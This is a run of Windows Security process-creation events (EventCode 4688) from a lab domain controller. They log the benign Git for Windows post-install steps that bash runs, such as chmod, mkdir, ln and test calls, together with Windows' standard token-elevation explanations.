Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246169
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd20
	New Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfc8
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	usr\bin\bash.exe  --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246168
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe90
	New Process Name:	C:\Program Files\Git\usr\bin\cygpath.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x62c
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	"C:\Program Files\Git\usr\bin\cygpath.exe" -S -w

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246167
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x62c
	New Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfc8
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	usr\bin\bash.exe  --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246166
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe60
	New Process Name:	C:\Program Files\Git\usr\bin\ln.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xca8
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	"C:\Program Files\Git\usr\bin\ln.exe" -sf /proc/mounts /etc/mtab

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246165
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xca8
	New Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfc8
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	usr\bin\bash.exe  --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246164
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb4c
	New Process Name:	C:\Program Files\Git\usr\bin\test.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa1c
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	"C:\Program Files\Git\usr\bin\test.exe" -h /dev/fd

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246163
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa1c
	New Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfc8
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	usr\bin\bash.exe  --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246162
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd9c
	New Process Name:	C:\Program Files\Git\usr\bin\test.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe54
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	"C:\Program Files\Git\usr\bin\test.exe" -h /dev/stderr

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246161
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe54
	New Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfc8
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	usr\bin\bash.exe  --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246160
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfdc
	New Process Name:	C:\Program Files\Git\usr\bin\test.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb20
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	"C:\Program Files\Git\usr\bin\test.exe" -h /dev/stdout

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246159
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb20
	New Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfc8
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	usr\bin\bash.exe  --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246158
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb18
	New Process Name:	C:\Program Files\Git\usr\bin\test.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb24
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	"C:\Program Files\Git\usr\bin\test.exe" -h /dev/stdin

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246157
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb24
	New Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfc8
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	usr\bin\bash.exe  --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246156
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc28
	New Process Name:	C:\Program Files\Git\usr\bin\chmod.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x824
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	"C:\Program Files\Git\usr\bin\chmod.exe" 1777 /dev/mqueue

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246155
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x824
	New Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfc8
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	usr\bin\bash.exe  --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246154
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x55c
	New Process Name:	C:\Program Files\Git\usr\bin\chmod.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x5b0
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	"C:\Program Files\Git\usr\bin\chmod.exe" 1777 /dev/shm

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246153
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5b0
	New Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfc8
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	usr\bin\bash.exe  --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246152
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x890
	New Process Name:	C:\Program Files\Git\usr\bin\mkdir.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x528
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	"C:\Program Files\Git\usr\bin\mkdir.exe" -m 755 /dev

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246151
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x528
	New Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfc8
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Process Command Line:	usr\bin\bash.exe  --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246150
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x480
	New Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfc8
	Creator Process Name:	C:\Program Files\Git\usr\bin\bash.exe
